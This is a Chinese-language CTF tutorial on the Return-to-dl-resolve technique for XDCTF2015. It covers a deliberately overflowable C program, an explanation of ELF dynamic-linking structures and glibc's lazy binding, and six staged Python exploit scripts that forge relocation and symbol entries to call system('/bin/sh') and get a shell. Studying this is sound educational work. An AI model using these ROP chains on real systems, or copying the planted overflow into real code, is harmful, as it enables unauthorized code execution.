0×00 前言


玩CTF的赛棍都知道,PWN类型的漏洞题目一般会提供一个可执行程序,同时会提供程序运行动态链接的libc库。通过libc.so可以得到库函数的偏移地址,再结合泄露GOT表中libc函数的地址,计算出进程中实际函数的地址,以绕过ASLR。这种手法叫return-to-libc。本文将介绍一种不依赖libc的手法。

以XDCTF2015-EXPLOIT2为例,这题当时是只给了可执行文件的。出这题的初衷就是想通过Return-to-dl-resolve的手法绕过NX和ASLR的限制。本文将详细介绍一下该手法的利用过程。

这里构造一个存在栈缓冲区溢出漏洞的程序,以方便后续我们构造ROP链。

#!cpp
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln()
{
    char buf[100];
    setbuf(stdin,buf);
    read(0,buf,256); // Buffer OverFlow
}

int main()
{
    char buf[100] = "Welcome to XDCTF2015~!\n";

    setbuf(stdout,buf);
    write(1,buf,strlen(buf));

    vuln();

    return 0;
}

0×01 准备知识


相关结构

ELF可执行文件由ELF头部,程序头部表和其对应的段,节区头部表和其对应的节组成。如果一个可执行文件参与动态链接,它的程序头部表将包含类型为 PT_DYNAMIC 的段,它包含.dynamic 节区。结构如图,

#!c
typedef struct {
    Elf32_Sword d_tag;
    union {
        Elf32_Word  d_val;
        Elf32_Addr  d_ptr;
    } d_un;
} Elf32_Dyn;

其中Tag对应着每个节区。比如JMPREL对应着.rel.plt

Alt text

节区中包含目标文件的所有信息。节的结构如图。

#!c
typedef struct{
    Elf32_Word sh_name;        // 节区头部字符串表节区的索引
    Elf32_Word sh_type;        // 节区类型
    Elf32_Word sh_flags;       // 节区标志,用于描述属性
    Elf32_Addr sh_addr;        // 节区的内存映像
    Elf32_Off  sh_offset;      // 节区的文件偏移
    Elf32_Word sh_size;        // 节区的长度
    Elf32_Word sh_link;        // 节区头部表索引链接
    Elf32_Word sh_info;        // 附加信息
    Elf32_Word sh_addralign;   // 节区对齐约束
    Elf32_Word sh_entsize;     // 固定大小的节区表项的长度
}Elf32_Shdr;

如图,列出了该文件的28个节区。其中类型为REL的节区包含重定位表项。

Alt text

(1) 其中.rel.plt节是用于函数重定位,.rel.dyn节是用于变量重定位

#!c
typedef struct {
    Elf32_Addr r_offset;    // 对于可执行文件,此值为虚拟地址
    Elf32_Word r_info;      // 符号表索引
} Elf32_Rel;
#define ELF32_R_SYM(i) ((i)>>8)
#define ELF32_R_TYPE(i) ((unsigned char)(i))
#define ELF32_R_INFO(s, t) (((s)<<8) + (unsigned char)(t))

如图,在.rel.plt中列出了链接的C库函数,以下均已write函数为例,write函数的r_offset=0x804a010,r_info=0x507

Alt text

(2) 其中.got节保存全局变量偏移表,.got.plt节存储着全局函数偏离表。.got.plt对应着Elf32_Rel结构中r_offset的值。如图,write函数在GOT表中位于0x804a010

Alt text

(3)其中.dynsym节区包含了动态链接符号表。其中,Elf32_Sym[num]中的num对应着ELF32_R_SYM(Elf32_Rel->r_info)。根据定义,ELF32_R_SYM(Elf32_Rel->r_info) = (Elf32_Rel->r_info)>>8

#!c
typedef struct
{
    Elf32_Word    st_name;   /* Symbol name (string tbl index) */
    Elf32_Addr    st_value;  /* Symbol value */
    Elf32_Word    st_size;   /* Symbol size */
    unsigned char st_info;   /* Symbol type and binding */
    unsigned char st_other;  /* Symbol visibility under glibc>=2.2 */
    Elf32_Section st_shndx;  /* Section index */
} Elf32_Sym;

如图,write的索引值为ELF32_R_SYM(0x507) = 0x507 >> 8 = 5。而Elf32_Sym[5]即保存着write的符号表信息。并且ELF32_R_TYPE(0x507) = 7,对应R_386_JUMP_SLOT

Alt text

(4)其中.dynstr节包含了动态链接的字符串。这个节区以\x00作为开始和结尾,中间每个字符串也以\x00间隔。如图,Elf32_Sym[5]->st_name = 0x54,所以.dynstr加上0x54的偏移量,就是字符串write

Alt text

(5)其中.plt节是过程链接表。过程链接表把位置独立的函数调用重定向到绝对位置。如图,当程序执行call [email protected]时,实际会跳到0x80483c0去执行。

Alt text

延迟绑定

程序在执行的过程中,可能引入的有些C库函数到结束时都不会执行。所以ELF采用延迟绑定的技术,在第一次调用C库函数是时才会去寻找真正的位置进行绑定。

具体来说,在前一部分我们已经知道,当程序执行call [email protected]时,实际会跳到0x80483c0去执行。而0x80483c0处的汇编代码仅仅三行。我们来看一下这三行代码做了什么。

Alt text

第一行,上一部分也提到了0x804a010write的GOT表位置,当我们第一次调用write时,其对应的GOT表里并没有存放write的真实地址,而是下一条指令的地址。第二、三行,把reloc_arg=0x20作为参数推入栈中,跳到0x8048370继续执行。

Alt text

0x8048370再把link_map = *(GOT+4)作为参数推入栈中,而*(GOT+8)中保存的是_dl_runtime_resolve函数的地址。因此以上指令相当于执行了_dl_runtime_resolve(link_map, reloc_arg),该函数会完成符号的解析,即将真实的write函数地址写入其GOT条目中,随后把控制权交给write函数。

Alt text

其中_dl_runtime_resolve是在glibc-2.22/sysdeps/i386/dl-trampoline.S中用汇编实现的。0xf7ff04fb处即调用_dl_fixup,并且通过寄存器传参。

Alt text

其中_dl_fixup是在glibc-2.22/elf/dl-runtime.c实现的,我们只关注一些主要函数。

#!c
_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg)

首先通过参数reloc_arg计算重定位入口,这里的JMPREL.rel.pltreloc_offsetreloc_arg

#!c
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);

然后通过reloc->r_info找到.dynsym中对应的条目。

#!c
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];

这里还会检查reloc->r_info的最低位是不是R_386_JUMP_SLOT=7

#!c
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

接着通过strtab + sym->st_name找到符号表字符串,result为libc基地址

#!c
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,version, ELF_RTYPE_CLASS_PLT, flags, NULL);

value为libc基址加上要解析函数的偏移地址,也即实际地址。

#!c
value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);

最后把value写入相应的GOT表条目中

#!c
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);

漏洞利用方式

  1. 控制EIP为PLT[0]的地址,只需传递一个index_arg参数
  2. 控制index_arg的大小,使reloc的位置落在可控地址内
  3. 伪造reloc的内容,使sym落在可控地址内
  4. 伪造sym的内容,使name落在可控地址内
  5. 伪造name为任意库函数,如system

控制EIP

首先确认一下进程当前开了哪些保护

Alt text

由于程序存在栈缓冲区漏洞,我们可以用PEDA很快定位覆写EIP的位置。

Alt text

stage1

我们先写一个ROP链,直接返回到[email protected]

#!python
from zio import *

offset = 112

addr_plt_read  = 0x08048390   # objdump -d -j.plt bof | grep "read"
addr_plt_write = 0x080483c0   # objdump -d -j.plt bof | grep "write"

#./rp-lin-x86  --file=bof --rop=3 --unique > gadgets.txt
pppop_ret = 0x0804856c
pop_ebp_ret   =  0x08048453
leave_ret = 0x08048481

stack_size = 0x800
addr_bss   = 0x0804a020   # readelf -S bof | grep ".bss"
base_stage = addr_bss + stack_size

target = "./bof"
io   = zio((target))

io.read_until('Welcome to XDCTF2015~!\n')
# io.gdb_hint([0x80484bd])

buf1  = 'A' * offset
buf1 += l32(addr_plt_read)
buf1 += l32(pppop_ret)
buf1 += l32(0)
buf1 += l32(base_stage)
buf1 += l32(100)
buf1 += l32(pop_ebp_ret)
buf1 += l32(base_stage)
buf1 += l32(leave_ret)
io.writeline(buf1)

cmd = "/bin/sh"

buf2 = 'AAAA'
buf2 += l32(addr_plt_write)
buf2 += 'AAAA'
buf2 += l32(1)
buf2 += l32(base_stage+80)
buf2 += l32(len(cmd))
buf2 += 'A' * (80-len(buf2))
buf2 += cmd + '\x00'
buf2 += 'A' * (100-len(buf2))
io.writeline(buf2)
io.interact()

最后会把我们输入的cmd打印出来

Alt text

stage2

这次我们控制EIP返回到PLT0,要带上index_offset。这里我们修改一下buf2

#!python
...
cmd = "/bin/sh"
addr_plt_start = 0x8048370 # objdump -d -j.plt bof
index_offset   = 0x20

buf2 = 'AAAA'
buf2 += l32(addr_plt_start)
buf2 += l32(index_offset)
buf2 += 'AAAA'
buf2 += l32(1)
buf2 += l32(base_stage+80)
buf2 += l32(len(cmd))
buf2 += 'A' * (80-len(buf2))
buf2 += cmd + '\x00'
buf2 += 'A' * (100-len(buf2))
io.writeline(buf2)
io.interact()

同样会把我们输入的cmd打印出来

Alt text

stage3

这一次我们控制index_offset,使其指向我们伪造的fake_reloc

#!python
...
cmd = "/bin/sh"
addr_plt_start = 0x8048370 # objdump -d -j.plt bof
addr_rel_plt   = 0x8048318 # objdump -s -j.rel.plt a.out
index_offset   = (base_stage + 28) - addr_rel_plt
addr_got_write = 0x804a020
r_info         = 0x507
fake_reloc     = l32(addr_got_write) + l32(r_info)

buf2 = 'AAAA'
buf2 += l32(addr_plt_start)
buf2 += l32(index_offset)
buf2 += 'AAAA'
buf2 += l32(1)
buf2 += l32(base_stage+80)
buf2 += l32(len(cmd))
buf2 += fake_reloc
buf2 += 'A' * (80-len(buf2))
buf2 += cmd + '\x00'
buf2 += 'A' * (100-len(buf2))
io.writeline(buf2)
io.interact()

同样会把我们输入的cmd打印出来

Alt text

stage4

这一次我们伪造fake_sym,使其指向我们控制的st_name

#!python
cmd = "/bin/sh"
addr_plt_start = 0x8048370 # objdump -d -j.plt bof
addr_rel_plt   = 0x8048318 # objdump -s -j.rel.plt a.out
index_offset   = (base_stage + 28) - addr_rel_plt
addr_got_write = 0x804a020
addr_dynsym    = 0x080481d8
addr_dynstr    = 0x08048268
fake_sym       = base_stage + 36
align          = 0x10 - ((fake_sym - addr_dynsym) & 0xf)
fake_sym       = fake_sym + align
index_dynsym   = (fake_sym - addr_dynsym) / 0x10
r_info         = (index_dynsym << 8 ) | 0x7
fake_reloc     = l32(addr_got_write) + l32(r_info)
st_name        = 0x54
fake_sym       = l32(st_name) + l32(0) + l32(0) + l32(0x12)

buf2 = 'AAAA'
buf2 += l32(addr_plt_start)
buf2 += l32(index_offset)
buf2 += 'AAAA'
buf2 += l32(1)
buf2 += l32(base_stage+80)
buf2 += l32(len(cmd))
buf2 += fake_reloc
buf2 += 'B' * align
buf2 += fake_sym 
buf2 += 'A' * (80-len(buf2))
buf2 += cmd + '\x00'
buf2 += 'A' * (100-len(buf2))
io.writeline(buf2)
io.interact()

同样会把我们输入的cmd打印出来

Alt text

stage5

这次把st_name指向我们伪造的字符串write

#!python
...
cmd = "/bin/sh"
addr_plt_start = 0x8048370 # objdump -d -j.plt bof
addr_rel_plt   = 0x8048318 # objdump -s -j.rel.plt a.out
index_offset   = (base_stage + 28) - addr_rel_plt
addr_got_write = 0x804a020
addr_dynsym    = 0x080481d8
addr_dynstr    = 0x08048268
addr_fake_sym  = base_stage + 36
align          = 0x10 - ((addr_fake_sym - addr_dynsym) & 0xf)
addr_fake_sym  = addr_fake_sym + align
index_dynsym   = (addr_fake_sym - addr_dynsym) / 0x10
r_info         = (index_dynsym << 8 ) | 0x7
fake_reloc     = l32(addr_got_write) + l32(r_info)
st_name        = (addr_fake_sym + 16) - addr_dynstr
fake_sym       = l32(st_name) + l32(0) + l32(0) + l32(0x12)

buf2 = 'AAAA'
buf2 += l32(addr_plt_start)
buf2 += l32(index_offset)
buf2 += 'AAAA'
buf2 += l32(1)
buf2 += l32(base_stage+80)
buf2 += l32(len(cmd))
buf2 += fake_reloc
buf2 += 'B' * align
buf2 += fake_sym
buf2 += "write\x00"
buf2 += 'A' * (80-len(buf2))
buf2 += cmd + '\x00'
buf2 += 'A' * (100-len(buf2))
io.writeline(buf2)
io.interact()

同样会把我们输入的cmd打印出来

Alt text

stage6

替换writesystem,并修改system的参数

#!python
...
cmd = "/bin/sh"
addr_plt_start = 0x8048370 # objdump -d -j.plt bof
addr_rel_plt   = 0x8048318 # objdump -s -j.rel.plt a.out
index_offset   = (base_stage + 28) - addr_rel_plt
addr_got_write = 0x804a020
addr_dynsym    = 0x080481d8
addr_dynstr    = 0x08048268
addr_fake_sym  = base_stage + 36
align          = 0x10 - ((addr_fake_sym - addr_dynsym) & 0xf)
addr_fake_sym  = addr_fake_sym + align
index_dynsym   = (addr_fake_sym - addr_dynsym) / 0x10
r_info         = (index_dynsym << 8 ) | 0x7
fake_reloc     = l32(addr_got_write) + l32(r_info)
st_name        = (addr_fake_sym + 16) - addr_dynstr
fake_sym       = l32(st_name) + l32(0) + l32(0) + l32(0x12)

buf2 = 'AAAA'
buf2 += l32(addr_plt_start)
buf2 += l32(index_offset)
buf2 += 'AAAA'
buf2 += l32(base_stage+80)
buf2 += 'aaaa'
buf2 += 'aaaa'
buf2 += fake_reloc
buf2 += 'B' * align
buf2 += fake_sym
buf2 += "system\x00"
buf2 += 'A' * (80-len(buf2))
buf2 += cmd + '\x00'
buf2 += 'A' * (100-len(buf2))
io.writeline(buf2)
io.interact()

得到一个shell

Alt text

WTF

以上只是叙述原理,当然你比较懒的话,这里已经有成熟的工具辅助编写利用脚本roputils

0×02 参考


  1. ELF文件格式
  2. ELF动态解析符号过程
  3. Return to dl-resolve
  4. ROP stager + Return-to-dl-resolveによるASLR+DEP回避
  5. Return to dl-resolve
  6. 通过ELF动态装载机制进行漏洞利用